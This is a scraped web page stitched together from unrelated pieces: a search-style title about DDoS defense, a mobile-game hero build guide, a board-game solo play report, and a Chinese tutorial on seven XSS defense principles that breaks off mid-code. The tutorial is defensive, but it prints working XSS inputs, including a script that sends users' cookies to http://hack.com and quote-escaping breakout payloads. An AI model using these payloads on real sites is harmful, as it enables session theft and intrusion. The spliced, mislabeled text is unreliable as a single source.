3点ddos 攻击防御和7点防御,你会选哪个

当前位置:&&&&正文
找好玩手机游戏,上&
指尖刀塔乌龟埃莫拉怎么玩 埃莫拉出装技能攻略
在好游快爆上浏览
安装好游快爆,资讯随身看
扫描右侧二维码下载,您可以
· 掌握好玩新游资讯· 查找热门手游攻略· 强大工具助你成功
中乌龟埃莫拉作为一个守卫英雄,所以如果将它作为一个法师来打,也会有不俗的效果。极高的技能伤害和控制效果配合3技能被动击杀小兵增加血量上限的效果,一个顺风的埃莫拉将会成为对手的噩梦。那么该如何玩好埃莫拉,埃莫拉的出装攻略又是怎样,就接着往下看吧。
地穴领主&&埃莫拉
不知道从什么时候开始,埃莫拉出现在希普尼大陆上并肆意掠夺。这只凶猛的野兽,让许多人陷入恐惧中。
抽奖获得、收集碎片
★☆☆☆☆
★★☆☆☆
★★☆☆☆
★★★★★
地刺:延迟1秒后对目标区域发动地刺攻击,对区域内敌人造成魔法伤害并眩晕
怒嚎:埃莫拉发出恐怖嚎叫,对前方扇形区域内目标造成魔法伤害并沉默数秒
肉食盛宴(被动):埃莫拉每杀死一个地方单位则增加生命值上限。死亡时效果消失
领主王权:埃莫拉在数秒内吸取地方目标英雄的护甲跟魔抗
更多其他英雄攻略请进入&&&4399 &&&
&O 英雄定位:
埃莫拉官方给出的是守卫定位,但是埃莫拉作为法师的效果甚至要好于作为坦克。大招能够偷取对手大量的魔抗和物理防御,团战中埃莫拉不论是将大招给到对方坦克还是对方输出英雄身上,都能对对手造成极大的打击。
&O 英雄天赋与技能加点:
这里推荐各位玩家在选择埃莫拉进行游戏时,采用攻击7点、防御7点、辅助31点的加点方法。因为埃莫拉作为法师,输出更多的是依靠技能来输出,同时埃莫拉的1技能和2技能的控制和沉默效果都十分显著,减少CD能够更好的发挥埃莫拉控制多,伤害高的特点。具体加点方法如下:
攻击天赋:屠杀3点、凝聚4点共7点;
防御天赋:坚硬肌肤3点、铁甲卫士4点共7点;
辅助天赋:极速传说3点、贪婪之心5点、冥想4点、睿智3点、免疫3点、妙手空空3点、脱离4点、高速成长5点、谋略之术1点共31点;
技能加点方面,推荐主2副1技能有大点大,2技能作为一个范围沉默和伤害技能,是埃莫拉的主要输出技能,这里选择主加。
&O 出装推荐:
小刀法杖加上补给品出门,第一件选择出信徒圣典。之后如果顺风或者输出不够就出法术戒指(如果逆风或者团队输出高则可以出肉戒指),之后是CD鞋子和法术匕首。因为乌龟被动增加血量上限,所以肉装可以最后再出。
攻略专题:
&&&【指尖刀塔船长库鲁攻略】:
&&&【指尖刀塔狗头里斯攻略】:
&&&【指尖刀塔防暴狂人古奇攻略】:
更多资讯、攻略请进入&&&4399 专区&&&
热门游戏推荐
热门关键字
热门游戏专区
扫描二维码,关注4399手游微信【图片】七宗罪solo模式地狱俱乐部任务战报!【桌游吧】_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0可签7级以上的吧50个
本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:150,543贴子:
七宗罪solo模式地狱俱乐部任务战报!
七宗罪solo模式地狱俱乐部任务战报!
第一回合开始,所有英雄选择受到1点腐蚀,然后由莉雅开始她的第一个回合。行动前,翻取一张反应卡:怪物迅捷。鬼知道卡上说的范围内是指什么,所以默认为该区格及相邻区格。其间有3只憎恶以及2只追随者。只能用D10骰子来随机选了。投了4于是选择了编号2的憎恶移动至英雄区格对莉雅进行袭击(我都还没动就***一波……),憎恶3个骰子,加强反应卡附加结果,获得4点攻击以及1点防御。莉雅因本身战斗等级为3,身边有还有3个自己人,所以掷6个骰子:1点攻击、2点防御、1点反腐蚀以及2点净化,2个暴击骰分别转化为1点攻击和1点防御。本以为是能反杀,结果差点***!接下来是莉雅行动,拾取警察局长标记,然后干憎恶一波,3伙伴+局长+主动腐蚀,8骰子,结果4点攻击,1点防御、3点反腐蚀、1点净化,2个暴击骰转化为2点防御,即4点攻击,4点防御!憎恶3骰子,1点腐蚀、3点攻击以及本身的3点防御(敌方暴击骰默认为转化为双倍)。憎恶死!莉雅被标记。莉雅使用技能,交给莫甘娜1个额外回合标记,自身被标记。莉雅第一回合结束。第二个莫甘娜回合开始,行动前1张反应卡:怪物迅捷,还额外打出1张罪恶牌:暗中蹒跚。D12骰4选1,投5号追随者加入战圈!2打6!妥!追随者2点攻击以及1点防御。莫甘娜3点攻击、1点防御以及1点反腐蚀,暴击骰不用就宰了这只追随者。罪恶卡发动,D12骰(正好少了1只,场上有12只怪物,否则我要怎么搞?)投选择4号憎恶、11号追随者、5号操控者各1步,之后莫甘娜翻开该区格内的隐藏标记:巢穴……莫甘娜离开该区格,进入左边S02区格,受到2次腐蚀考验:,结果被腐蚀1点。莫甘娜主动腐蚀1点,对该区格内的追随者进行袭击。由于有五芒星的存在,所以是4打3的配置。莫甘娜获得3点攻击、3点防御。追随者1点攻击以及1点腐蚀。所以追随者死亡,莫甘娜受到1点腐蚀并被标记。翻开该区格内的隐藏标记:无辜市民。自此莫甘娜第一回合结束,由于没有受伤,所以无需回血。
第三个布莱德回合开始,行动前的反应卡:无反应!脸白了有没有!布莱德决定离开该区格,进入左边s05板块。期间,进行各一次腐蚀及火焰判定,然后,欧皇再一次证明了自己,2次都没中了!布莱德在该区格执行城市行动,获得1个额外标记以及一次卫星袭击,卫星移动1步杀死同区格的憎恶,翻开隐藏标记:无辜市民!自此布莱德第一回合结束。第四个卡尔行动开始,行动前的反应卡:无反应!又一张!卡尔化身狼人准备去干他一波!卡尔2步移动至S10板块上,受到腐蚀火焰考验各一次:结果无伤过了!由于到达祭坛区域,需要行动结束后抽取罪恶卡:诅咒你…先不管罪恶卡,卡尔主动腐蚀袭击该区格内的追随者。5打2!卡尔3点攻击、1点防御、1点反腐蚀,3个暴击骰转化为…不转也罢!追随者1点攻击以及1点腐蚀。追随者卒!卡尔被标记。卡尔执行城市行动,治疗1点腐蚀并获得1件装备:冰刃。结算罪恶卡,卡尔受到2点伤害。翻开该区格内隐藏标记:无辜市民。自此3个无辜市民都找到了!卡尔第一回合结束。第一轮的第一回合英雄行动全部结束。第二回合开始,莉雅开始第二回合,抽取反应卡:怪物猛击。最强的操控者进入区格对莉雅发动战斗!伴随多一只追随者。6打4,还附带3点额外攻击!这是要凉了呀!操控者3点攻击、2点腐蚀再加3点额外攻击,总计点6攻击和2点腐蚀才!莉雅1点攻击、2点反腐蚀、1点净化以及本身1点防御,暴击骰转化为防御。所以莉雅受到4点伤害、1点腐蚀!侥幸还能苟两回合吧也许!现在不得不考虑为了完成第一个任务,要让谁死了…真的很纠结啊!莉雅执行城市行动:获得额外行动、治疗1点伤害并获得1件装备:渡鸦集团天眼。然后主动腐蚀后袭击操控者。7打6!莉雅获得5点攻击、1点防御2点反腐蚀以及2点净化,2点暴击骰转化为2点反腐蚀。结算结果为4点攻击、2点防御、4点反腐蚀以及2点净化。操控者5点腐蚀和1点攻击。因此成功干掉操控者,但受到了1点腐蚀。莉雅第二回合结束。
莫甘娜第二回合开始,抽取反应卡:无反应,然后需要打出1张罪恶卡:蹒跚去往伯利恒。莫甘娜执行城市行动,治疗1点伤害以及进行卫星袭击,卫星移动1步至左下,消灭该区格内的一只追随者。莫甘娜1步回到起始区格,受到2次腐蚀判定:全中…受到2点腐蚀。莫甘娜袭击追随者,4打2!莫甘娜获得1点攻击、3点反腐蚀,4个暴击骰转化…不转也罢,追随者只获得1点攻击,直接gg。莫甘娜第二回合结束。布莱德第二回开始,抽取反应卡:怪物迅捷。我一直以为我用不到D4骰的…然而居然还有2选1的局面!选择1号憎恶,伴随一只追随者一起进入该区格进行战斗,再加1个五芒星,6打2的节奏啊!感觉第一个任务会很意外的被完成,不知该高兴还是悲哀…憎恶获得3点腐蚀、3点攻击以及1点防御。布莱德就1点攻击和1点反腐蚀…所以受到2点伤害和2点腐蚀。布莱德决定本回合直接结束,发动技能,直接消灭该区格内的憎恶,受到1点腐蚀,并放置1个火焰标记。然后罪恶卡发动,直接受到3点腐蚀,腐蚀等级达到最大,杀死随身的无辜市民并受到1点伤害。布莱德第二回合结束,本回合也算是帮我确定了需要牺牲的英雄了吧。卡尔第二回合开始,抽取反应卡:怪物猛击。祭坛范围内再抽取一张罪恶卡:受诅命运。只剩3只憎恶也能算最强…D6确定3号憎恶袭击卡尔,3打5可还行?憎恶4点攻击1点防御,卡尔3点攻击、3点防御以及1点反腐蚀。憎恶死!卡尔受到1点伤害。然后,万恶的罪恶卡在此时恶心到我了:重掷说有骰子。憎恶此次为5点攻击、1点防御和1点腐蚀。卡尔3点攻击和2点净化,3个暴击骰转化为1点攻击、2点防御,所以最终,卡尔受到1点伤害和1点腐蚀,而憎恶终于还是挂了!卡尔向右下移动1步,然后结束回合。第一轮的第二回合到此全部结束。莫甘娜第三额外回合,抽取2张反应卡:无反应,怪物猛击。D4选择1号憎恶移动并袭击莫甘娜!3打4,并不慌。然后憎恶7点攻击、1点防御和1点腐蚀把我打懵了!莫甘娜1点攻击、2点反腐蚀和1点净化,好在暴击骰转化了1点防御,总计3点防御,受到4点伤害。这下这个回合我都不知道能干什么了!直接净化区格,失败,莫甘娜治疗1点伤害,回合结束。布莱德第三额外回合,抽取反应卡:无反应。老天助我啊!布莱德不惜受1点伤害,移动至起始区格,净化区格,成功移除巢穴,然后结束回合,带走了憎恶,放置一个火焰标记,受到1点伤害。布莱德死亡!第一任务结束,而至此,第一轮也结束了!
结束时的结算:末日记录表推进1格,然而我觉得英雄血量不多了所以只能额外多推进1格。翻开末日牌:骷髅斗篷…还好,决定选的B任务(发放黑历史),因为真不敢再让化身上场了!因此,场上需要召唤5名地狱俱乐部成员。因为加入了KS的市长和尼古拉斯,所以,还有2位成员没有上场,然而,这一波就觉得要哭了!刚快清干净的战场,又被增员了!想想都胆颤…布局完成,第二轮开始,所有英雄受到1点腐蚀。莉雅和莫甘娜直接达到腐蚀最大等级,翻开黑历史牌:莫甘娜直接加入敌方阵营,莉雅无伤,罗可受到1点伤害,卡尔将在本轮结束后被杀!黑历史果然恐怖!莫甘娜直接gg(换了个黑圈来代表她黑化了),所以换上了索里。这里第二人物完成,进入最终任务,召唤出最后2个成员!索里开始第二轮第一回合,抽取反应卡:无反应。直接主动腐蚀,去干莫甘娜!7打5不知会是什么下场!索里4点反腐蚀、2点攻击和1点净化…我非酋了么?莫甘娜2点腐蚀和1点伤害,还好,要非一起非…手感极差有没有!这时觉得还是要聚在一起比较好,所以索里结束回合。莉雅第二轮第一回合开始,抽取反应卡:无反应。莉雅还是觉得找干掉叛徒比较好,所以6打5袭击莫甘娜。然而2点伤害、3点反腐蚀和1点净化…莫甘娜5点攻击和2点腐蚀,莉雅直接被干死!真的应了那句老话么?no zuo no dai么,人家好好的现在那就是要不停得挑衅,然后被OK了…萝丝最后一个上场!将莉雅的装备送回升级牌库后,挑选了克维拉装甲回来使用。新的人物行动抽取反应卡:无反应。然而也不知道要怎么办,所以结束回合,将市长身边的憎恶移到左边一个区格。卡尔回合开始,抽取反应卡:怪物迅捷。外加一张罪恶卡:为了主宰。D4骰选择2号追随者袭击。2打4么,差点笑出声来。追随者4点攻击、1点防御和1点腐蚀…卡尔2点伤害、1点反腐蚀和1点净化,2个暴击骰转化2点防御。差点翻船啊有木有!(此处忘记用冰刃了)不过好在躲过了罪恶卡,好险!既然来了,就干掉这只追随者。卡尔主动腐蚀后袭击,6打2总行吧!卡尔3点攻击、1点防御以及1点反腐蚀,暴击骰就不说了,追随者2点伤害都没破防,完美击杀!卡尔2步进入起始区格,一次腐蚀判定无效。卡尔执行城市行动,治疗1点伤害,获得额外回合以及获得1件装备:再生。卡尔回合结束。罗可第二轮第一回合开始,抽取反应卡:怪物迅捷。最近的就是莫甘娜了,想想就可怕啊!5打5的局,莫甘娜3点攻击和1点腐蚀,罗可2点攻击、2点防御和1点净化,2个暴击骰转化为1点防御和1点反腐蚀,至少没受伤。但不杀死莫甘娜就引不到其他人,所以还是要杀了她。罗可受1点伤害离开起始区格,受到2次腐蚀和1次火焰判定:全中了!罗可远程袭击市长:1点防御和1点反腐蚀…失败了。罗可回合结束。
索里第二轮第二回合开始,抽取反应卡:怪物猛击。抽取一张罪恶卡:憎恶之怒。最强的怪物…好像还是莫甘娜吧!虽然是5打6,但还是心虚啊!莫甘娜6点攻击和3点腐蚀。索里1点攻击,1点反腐蚀和3点净化,2个暴击骰转化为2点防御。最终索里以受到2点腐蚀和1点伤害而告终。索里受到1点伤害离开起始区格,受到1次腐蚀和1次火焰判定:受到1点伤害。然后主动腐蚀后袭击市长,5打3准备解决掉他!索里3点攻击和2点反腐蚀,暴击骰转化为攻击,市长只有1点腐蚀,成为第一个被杀的地狱俱乐部成员!罗可回合结束。萝丝第二轮第二回合开始,抽取反应卡:怪物猛击。抽取一张罪恶卡:惩罚懒惰者。不用去管罪恶卡,先来应对莫甘娜吧!5打3啊!莫甘娜4点攻击和4点腐蚀…萝丝1点攻击、1点反腐蚀和2点防御…所以受到3点腐蚀和2点伤害。还好不致命。萝丝受1点伤害离开起始区格,进行腐蚀和火焰判定:无事,进入玛嘉烈的区格,然后结束回合。卡尔第二轮第二回合开始,抽取反应卡:无反应,受1点伤害离开起始区格,进行腐蚀和火焰判定:受到1点伤害。移动至玛嘉烈的区格,然后主动腐蚀后袭击玛嘉烈。7打4,3点攻击、2点反腐蚀、3点防御和2点净化,暴击骰忽略,玛嘉烈3点攻击和2点腐蚀,成功OK掉玛嘉烈!卡尔回合结束。罗可第二轮第二回合开始,抽取反应卡:怪物猛击。咧嘴者开始5打2,3点腐蚀、1点攻击。罗可1点反腐蚀和1点净化…故受到1点伤害和2点腐蚀。罗可受到1点伤害离开该区格,进入恼怒双子区格,并受到2次腐蚀判定和1次火焰判定:无事。罗可执行城市行动,获得2件装备:意念精通和渡鸦集团天眼。主动腐蚀后袭击恼怒双子:5打3!这是个不成功变成仁的战斗!罗可获得5点攻击和2点反腐蚀。暴击骰转化1点反腐蚀。恼怒双子获得3点腐蚀。成功击杀恼怒双子!罗可回合结束!第二轮游戏结束!第二轮结束结算:末日牌:永不超生的王座。
第三轮开始,卡尔开始回合,首先治疗1点伤害,抽取反应卡:怪物猛击。莫甘娜追了过来,5打6还是不虚的吧!莫甘娜4点攻击、1点腐蚀。卡尔4点反腐蚀、1点攻击、2点防御,暴击骰转化为1点防御,所以受到1点伤害。卡尔移动2步至费雷处,受到1次火焰判定:无效。主动腐蚀后袭击费雷,7打4!5点攻击、2点反腐蚀、4点防御以及1点净化。费雷2点攻击和2点腐蚀。成功又杀掉一个!只剩最后一个了!索里第三轮开始,抽取反应卡:怪物猛击。咧嘴者又来了!5打4,4点攻击和3点腐蚀!索里3点攻击、1点反腐蚀、3点防御,暴击骰转化为1点防御,最终受到2点腐蚀。索里受到1点伤害离开该区格,受到腐蚀判定:无效,移动至甘博士处,主动腐蚀后袭击甘博士!6打4,最后一战了!索里5点攻击,2点反腐蚀、4点防御,甘博士1点攻击和4点腐蚀!最后居然同归无尽!呃……这怎么算?
补充一下,最后一战前的费雷歼灭战,因为主动腐蚀后达到最高等级,所以无辜市民被杀掉,所以骷髅斗篷失效,卡尔侥幸活了下来!
总结一下solo版,本版本可以一起合作游戏,再也不用只能当城主这么苦逼了,然而,因为反应卡的机制,导致有种可以把这个游戏当塔防来玩,一起聚在一起,然后怪物就会自己送上门来!不过不得不承认,玩到最后那种背水一战的感觉还是相当刺激的!强制堕落腐蚀来提高战力,不成功便成仁的悲壮,总觉得是最后一战了啊有木有!唯一感觉遗憾的是装备总是那么少,或许也是我不敢去的缘故吧,但真的整个游戏要下来,危机四伏,单个人出去闯怎么看都会gg啊有木有!
如果有玩错的也请指证,毕竟solo版还是第一次玩,有个很大的问题谁能解释一下,“清除追随者的所有标记。”是什么意思?我全程忽略了追随者的技能,因为不知道要怎么发动,否则可能不会坚持到最后吧!
每轮可以发动一次追随者技能,清除标记就是后面可以再发动一次
Solo版要怎么选择发动时机???
贴吧热议榜
使用签名档&&
保存至快速回贴防御 XSS 攻击的七条原则 - 文章 - 伯乐在线
& 防御 XSS 攻击的七条原则
本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:《》《》
攻击者可以利用XSS漏洞向用户发送攻击脚本,而用户的浏览器因为没有办法知道这段脚本是不可信的,所以依然会执行它。对于浏览器而言,它认为这段脚本是来自可以信任的服务器的,所以脚本可以光明正大地访问Cookie,或者保存在浏览器里被当前网站所用的敏感信息,甚至可以知道用户电脑安装了哪些软件。这些脚本还可以改写HTML页面,进行钓鱼攻击。
虽然产生XSS漏洞的原因各种各样,对于漏洞的利用也是花样百出,但是如果我们遵循本文提到防御原则,我们依然可以做到防止XSS攻击的发生。
有人可能会问,防御XSS的核心不就是在输出不可信数据的时候进行编码,而现如今流行的Web框架(比如Rails)大多都在默认情况下就对不可信数据进行了HTML编码,帮我们做了防御,还用得着我们自己再花时间研究如何防御XSS吗?答案是肯定的,对于将要放置到HTML页面body里的不可信数据,进行HTML编码已经足够防御XSS攻击了,甚至将HTML编码后的数据放到HTML标签(TAG)的属性(attribute)里也不会产生XSS漏洞(但前提是这些属性都正确使用了引号),但是,如果你将HTML编码后的数据放到了&SCRIPT&标签里的任何地方,甚至是HTML标签的事件处理属性里(如onmouseover),又或者是放到了CSS、URL里,XSS攻击依然会发生,在这种情况下,HTML编码不起作用了。所以就算你到处使用了HTML编码,XSS漏洞依然可能存在。下面这几条规则就将告诉你,如何在正确的地方使用正确的编码来消除XSS漏洞。
原则1:不要在页面中插入任何不可信数据,除非这些数已经据根据下面几个原则进行了编码
第一条原则其实是“Secure By Default”原则:不要往HTML页面中插入任何不可信数据,除非这些数据已经根据下面几条原则进行了编码。
之所以有这样一条原则存在,是因为HTML里有太多的地方容易形成XSS漏洞,而且形成漏洞的原因又有差别,比如有些漏洞发生在HTML标签里,有些发生在HTML标签的属性里,还有的发生在页面的&Script&里,甚至有些还出现在CSS里,再加上不同的浏览器对页面的解析或多或少有些不同,使得有些漏洞只在特定浏览器里才会产生。如果想要通过XSS过滤器(XSS Filter)对不可信数据进行转义或替换,那么XSS过滤器的过滤规则将会变得异常复杂,难以维护而且会有被绕过的风险。
所以实在想不出有什么理由要直接往HTML页面里插入不可信数据,就算是有XSS过滤器帮你做过滤,产生XSS漏洞的风险还是很高
&script&…不要在这里直接插入不可信数据…&/script&直接插入到SCRIPT标签里
&!– …不要在这里直接插入不可信数据… –&
插入到HTML注释里
&div 不要在这里直接插入不可信数据=”…”&&/div&
插入到HTML标签的属性名里
&div name=”…不要在这里直接插入不可信数据…”&&/div&
插入到HTML标签的属性值里
&不要在这里直接插入不可信数据 href=”…”&&/a&
作为HTML标签的名字
&style&…不要在这里直接插入不可信数据…&/style&
直接插入到CSS里
123456789101112131415
&script&…不要在这里直接插入不可信数据…&/script&直接插入到SCRIPT标签里 &!– …不要在这里直接插入不可信数据… –&插入到HTML注释里&&div 不要在这里直接插入不可信数据=”…”&&/div&插入到HTML标签的属性名里&&div name=”…不要在这里直接插入不可信数据…”&&/div&插入到HTML标签的属性值里&&不要在这里直接插入不可信数据 href=”…”&&/a&作为HTML标签的名字&&style&…不要在这里直接插入不可信数据…&/style&直接插入到CSS里
最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里,一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。
原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码
在这里相当强调是往HTML标签之间插入不可信数据,以区别于往HTML标签属性部分插入不可信数据,因为这两者需要进行不同类型的编码。当你确实需要往HTML标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行HTML Entity编码。比如,我们经常需要往DIV,P,TD这些标签里放入一些用户提交的数据,这些数据是不可信的,需要对它们进行HTML Entity编码。很多Web框架都提供了HTML Entity编码的函数,我们只需要调用这些函数就好,而有些Web框架似乎更“智能”,比如Rails,它能在默认情况下对所有插入到HTML页面的数据进行HTML Entity编码,尽管不能完全防御XSS,但着实减轻了开发人员的负担。
&body&…插入不可信数据前,对其进行HTML Entity编码…&/body&&div&…插入不可信数据前,对其进行HTML Entity编码…&/div&&p&…插入不可信数据前,对其进行HTML Entity编码…&/p&
以此类推,往其他HTML标签之间插入不可信数据前,对其进行HTML Entity编码
&body&…插入不可信数据前,对其进行HTML Entity编码…&/body&&div&…插入不可信数据前,对其进行HTML Entity编码…&/div&&p&…插入不可信数据前,对其进行HTML Entity编码…&/p&以此类推,往其他HTML标签之间插入不可信数据前,对其进行HTML Entity编码
[编码规则]
那么HTML Entity编码具体应该做哪些事情呢?它需要对下面这6个特殊字符进行编码:
&&&&& –&&&&& &&&&&& –&&&&& <&&&&& –&&&&& >”&&&& –&&&&& "‘&&&& –&&&&& '/&&&& –&&&&& /
有两点需要特别说明的是:
不推荐将单引号( ‘ )编码为 & 因为它并不是标准的HTML标签
需要对斜杠号( / )编码,因为在进行XSS攻击时,斜杠号对于关闭当前HTML标签非常有用
推荐使用OWASP提供的函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。在当前这个例子里,你可以使用:
String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));
String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));
原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码
这条原则是指,当你要往HTML属性(例如width、name、value属性)的值部分(data value)插入不可信数据的时候,应该对数据进行HTML属性编码。不过需要注意的是,当要往HTML标签的事件处理属性(例如onmouseover)里插入数据的时候,本条原则不适用,应该用下面介绍的原则4对其进行JavaScript编码。
&div attr=…插入不可信数据前,进行HTML属性编码…&&/div&属性值部分没有使用引号,不推荐
&div attr=’…插入不可信数据前,进行HTML属性编码…’&&/div&
属性值部分使用了单引号
&div attr=”…插入不可信数据前,进行HTML属性编码…”&&/div&
属性值部分使用了双引号
&div attr=…插入不可信数据前,进行HTML属性编码…&&/div&属性值部分没有使用引号,不推荐 &div attr=’…插入不可信数据前,进行HTML属性编码…’&&/div&属性值部分使用了单引号&div attr=”…插入不可信数据前,进行HTML属性编码…”&&/div&属性值部分使用了双引号
[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 &#xHH; (以&#x开头,HH则是指该字符对应的十六进制数字,分号作为结束符)
之所以编码规则如此严格,是因为开发者有时会忘记给属性的值部分加上引号。如果属性值部分没有使用引号的话,攻击者很容易就能闭合掉当前属性,随后即可插入攻击脚本。例如,如果属性没有使用引号,又没有对数据进行严格编码,那么一个空格符就可以闭合掉当前属性。请看下面这个攻击:
假设HTML代码是这样的:
&div width=$INPUT& …content… &/div&
&div width=$INPUT& …content… &/div&
攻击者可以构造这样的输入:
x onmouseover=”javascript:alert(/xss/)”
x onmouseover=”javascript:alert(/xss/)”
最后,在用户的浏览器里的最终HTML代码会变成这个样子:
&div width=x onmouseover=”javascript:alert(/xss/)”& …content… &/div&
<div width=x onmouseover=”javascript:alert(/xss/)”> …content… </div>
只要用户的鼠标移动到这个DIV上,就会触发攻击者写好的攻击脚本。在这个例子里,脚本仅仅弹出一个警告框,除了恶作剧一下也没有太多的危害,但是在真实的攻击中,攻击者会使用更加具有破坏力的脚本,例如下面这个窃取用户cookie的XSS攻击:
x /& &script&var img = document.createElement(“img”);img.src = ”http://hack.com/xss.js?” + escape(document.cookie);document.body.appendChild(img);&/script& &div
x /& &script&var img = document.createElement(“img”);img.src = ”http://hack.com/xss.js?” + escape(document.cookie);document.body.appendChild(img);&/script& &div
除了空格符可以闭合当前属性外,这些符号也可以:
`(反单引号,IE会认为它是单引号)
`(反单引号,IE会认为它是单引号)
可以使用ESAPI提供的函数进行HTML属性编码:
String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));
String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));
原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(Event Handler,如onmouseover, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中,例如:
var message = “&%= encodeJavaScript(@INPUT) %&”;
<script>&&&&var message = “<%= encodeJavaScript(@INPUT) %>”;</script>
除此之外,往JavaScript代码里其他任何地方插入不可信数据都是相当危险的,攻击者可以很容易地插入攻击代码。
&script&alert(‘…插入不可信数据前,进行JavaScript编码…’)&/script&值部分使用了单引号
&script&x = “…插入不可信数据前,进行JavaScript编码…”&/script&
值部分使用了双引号
&div onmouseover=”x=’…插入不可信数据前,进行JavaScript编码…’ “&/div&
值部分使用了引号,且事件处理属性的值部分也使用了引号
特别需要注意的是,在XSS防御中,有些JavaScript函数是极度危险的,就算对不可信数据进行JavaScript编码,也依然会产生XSS漏洞,例如:
window.setInterval(‘…就算对不可信数据进行了JavaScript编码,这里依然会有XSS漏洞…’);
&script&alert(‘…插入不可信数据前,进行JavaScript编码…’)&/script&值部分使用了单引号 &script&x = “…插入不可信数据前,进行JavaScript编码…”&/script&值部分使用了双引号&div onmouseover=”x=’…插入不可信数据前,进行JavaScript编码…’ “&/div&值部分使用了引号,且事件处理属性的值部分也使用了引号特别需要注意的是,在XSS防御中,有些JavaScript函数是极度危险的,就算对不可信数据进行JavaScript编码,也依然会产生XSS漏洞,例如:&script&window.setInterval(‘…就算对不可信数据进行了JavaScript编码,这里依然会有XSS漏洞…’);&/script&
[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \xHH (以 \x 开头,HH则是指该字符对应的十六进制数字)
在对不可信数据做编码的时候,千万不能图方便使用反斜杠( \ )对特殊字符进行简单转义,比如将双引号 ” 转义成 \” ,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击。例如:
假设代码片段如下:
var message = ” $VAR “;
&script&var message = ” $VAR “;&/script&
攻击者输入的内容为:
\”; alert(‘xss’);//
\”; alert(‘xss’);//
如果只是对双引号进行简单转义,将其替换成 \” 的话,攻击者输入的内容在最终的页面上会变成:
var message = ” \\”; alert(‘xss’);// “;
&script&var message = ” \\”; alert(‘xss’);// “;&/script&
浏览器在解析的时候,会认为反斜杠后面的那个双引号和第一个双引号相匹配,继而认为后续的alert(‘xss’)是正常的JavaScript脚本,因此允许执行。
可以使用ESAPI提供的函数进行JavaScript编码:
String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));
String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));
原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码
当需要往Stylesheet,Style标签或者Style属性里插入不可信数据的时候,需要对这些数据进行CSS编码。传统印象里CSS不过是负责页面样式的,但是实际上它比我们想象的要强大许多,而且还可以用来进行各种攻击。因此,不要对CSS里存放不可信数据掉以轻心,应该只允许把不可信数据放入到CSS属性的值部分,并进行适当的编码。除此以外,最好不要把不可信数据放到一些复杂属性里,比如url, behavior等,只能被IE认识的Expression属性允许执行JavaScript脚本,因此也不推荐把不可信数据放到这里。
&style&selector { property : …插入不可信数据前,进行CSS编码…} &/style&&style&selector { property : ” …插入不可信数据前,进行CSS编码… “} &/style&
&span style=” property : …插入不可信数据前,进行CSS编码… ”& … &/span&
&style&selector { property : …插入不可信数据前,进行CSS编码…} &/style&&style&selector { property : ” …插入不可信数据前,进行CSS编码… “} &/style&&span style=” property : …插入不可信数据前,进行CSS编码… ”& … &/span&
[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \HH (以 \ 开头,HH则是指该字符对应的十六进制数字)
同原则2,原则3,在对不可信数据进行编码的时候,切忌投机取巧对双引号等特殊字符进行简单转义,攻击者可以想办法绕开这类限制。
可以使用ESAPI提供的函数进行CSS编码:
String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));
String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));
原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码
当需要往HTML页面中的URL里插入不可信数据的时候,需要对其进行URL编码,如下:
&a href=”http://www.abcd.com?param=…插入不可信数据前,进行URL编码…”& Link Content &/a&
&a href=”http://www.abcd.com?param=…插入不可信数据前,进行URL编码…”& Link Content &/a&
[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 %HH (以 % 开头,HH则是指该字符对应的十六进制数字)
在对URL进行编码的时候,有两点是需要特别注意的:
1) URL属性应该使用引号将值部分包围起来,否则攻击者可以很容易突破当前属性区域,插入后续攻击代码
2) 不要对整个URL进行编码,因为不可信数据可能会被插入到href, src或者其他以URL为基础的属性里,这时需要对数据的起始部分的协议字段进行验证,否则攻击者可以改变URL的协议,例如从HTTP协议改为DATA伪协议,或者javascript伪协议。
可以使用ESAPI提供的函数进行URL编码:
String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));
String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));
ESAPI还提供了一些用于检测不可信数据的函数,在这里我们可以使用其来检测不可信数据是否真的是一个URL:
String userProvidedURL = request.getParameter(“userProvidedURL”);boolean isValidURL = ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, “URL”, 255, false);
if (isValidURL) {
